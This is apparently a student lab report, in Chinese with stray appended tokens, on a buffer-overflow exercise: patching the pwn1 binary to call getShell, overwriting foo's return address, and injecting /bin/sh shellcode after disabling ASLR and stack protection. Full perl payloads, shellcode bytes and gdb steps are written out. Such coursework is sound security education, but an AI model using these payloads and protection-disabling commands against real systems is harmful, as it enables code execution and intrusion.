掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼(0.5分)html
掌握反彙編與十六進制編程器 (0.5分)linux
能正確修改機器指令改變程序執行流程(0.5分)git
能正確構造payload進行bof攻擊(0.5分)shell
返回目錄macos
手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數編程
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數vim
注入一個本身製做的shellcode並運行這段shellcodewindows
返回目錄sass
- 熟悉Linux基本操做
- 能看懂經常使用指令,如管道(|),輸入、輸出重定向(>)等
- 理解Bof的原理
- 能看得懂彙編、機器指令、EIP、指令地址
- 會使用gdb,vi
返回目錄markdown
apt-get install lib32ncurses5
本次實踐的對象是一個名爲pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。
三個實踐內容以下:
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 注入一個本身製做的shellcode並運行這段shellcode。
這幾種思路,基本表明現實狀況中的攻擊目標:
- 運行本來不可訪問的代碼片斷
- 強行修改程序執行流
- 以及注入運行任意代碼
- 熟悉Linux基本操做
- 能看懂經常使用指令,如管道(|),輸入、輸出重定向(>)等。
- 理解Bof的原理。
- 能看得懂彙編、機器指令、EIP、指令地址。
- 會使用gdb,vi。
知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
學習目標:理解可執行文件與機器指令
進階:掌握ELF文件格式,掌握動態技術
objdump -d pwn1
命令進行反彙編:call 8048491 <foo>
是彙編指令
8048491
處的foo函數;e8 d7ffffff
,e8即跳轉之意
80484ba
,但如一解釋e8這條指令呢,CPU就會轉而執行EIP + d7ffffff
這個位置的指令。d7ffffff
是補碼,表示-41,41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491
這個值,e8 d7ffffff
,
d7ffffff
爲getShell-80484ba
對應的補碼就行c3ffffff
d7ffffff
變爲c3ffffff
:
vim pwn1
esc
->:%!xxd
將顯示模式切換爲16進制模式:/e8d7
查找要修改的內容:%!xxd -r
轉換16進製爲原格式:wq
存盤退出vimobjdump -d pwn1
命令反彙編看一下,call指令是否正確調用getShell:./pwn1
運行改後的代碼,會獲得shell提示符#:知識要求:堆棧結構,返回地址
學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取
進階:掌握ELF文件格式,掌握動態技術
objdump -d pwn1
命令反彙編:32字節
的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址80484ae
若是輸入字符串1111111122222222333333334444444412345678
,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址,輸入給pwn1,pwn1就會運行getShell
getShell的內存地址,經過反彙編時能夠看到,即0804847d
接下來要確認下字節序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d
,仍是輸入11111111222222223333333344444444\x7d\x84\x04\x08
對比以前eip 0x34333231 0x34333231
,正確應用輸入 11111111222222223333333344444444\x7d\x84\x04\x08
因爲無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此須要先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
關於Perl:
Perl是一門解釋型語言,不須要預編譯,能夠在命令行上直接使用。
使用輸出重定向「>」將perl生成的字符串存儲到文件input中。
同時,可使用16進制查看指令xxd查看input文件的內容是否如預期。
而後將input的輸入,經過管道符「|」,做爲pwn1的輸入。
- shellcode就是一段機器指令(code)
- 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),
- 因此這段機器指令被稱爲shellcode。
- 在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
最基本的shellcode的編寫可參考學姐的文章Shellcode入門,寫得很是之清楚詳實。如下實踐即便用該文章中生成的shellcode。以下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
關於更多Shellcode的知識,請參考Shellcode基礎。
注意:如下實踐是在很是簡單的一個預設條件下完成的:
所以修改設置以下:
apt-get install execstack //安裝execstack命令 execstack -s pwn1 //設置堆棧可執行 execstack -q pwn1 //查詢文件的堆棧是否可執行 more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化 echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
retaddr+nop+shellcode
nop+shellcode+retaddr
nop+shellcode+retaddr
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入,其中前面32個A用來填滿緩衝區buf,\x04\x03\x02\x01
爲預留的返回地址retaddr:(cat input_shellcode;cat) | ./pwn1
ps -ef | grep pwn1
命令找到pwn1的進程號是:9489:gdb
、attach 9489
命令啓動gdb調試這個進程:disassemble foo
命令反彙編,經過設置斷點,來查看注入buf的內存地址:break *0x080484ae
命令設置斷點,輸入c
命令(continue)繼續運行,同時在pwn1進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用info r esp
命令查找地址:x/16x 0xffffd27c
命令查看其存放內容,看到了0x01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址應爲0xffffd280
:perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
:(cat input_shellcode;cat) | ./pwn1
命令次執行程序,攻擊成功!以下圖:試了不少次,也盲目重啓了不少次Kali(它提示讓我重啓的不怪我),不過用圖形界面安裝時每次到10%就會卡住而後提示失敗:(
su
命令切換到root(Kali用戶默認root)vim /etc/apt/sources.list
deb https://https.kali.org/kali kali-rolling main contrib non-free
到文件中並保存退出apt-get clean apt-get update apt-get upgrade -y apt-get dist-upgrade -y apt-get install dkms kpartx printer-driver-postscript-hp
eject /dev/cdrom
推出Parallel Tools安裝工具操做
->安裝 Parallel Tools
mkdir /media/pt mkdir /root/Desktop/pt mount /dev/cdrom /media/pt cp -r /media/pt/ /root/Desktop/pt cd /root/Desktop/pt/pt ./install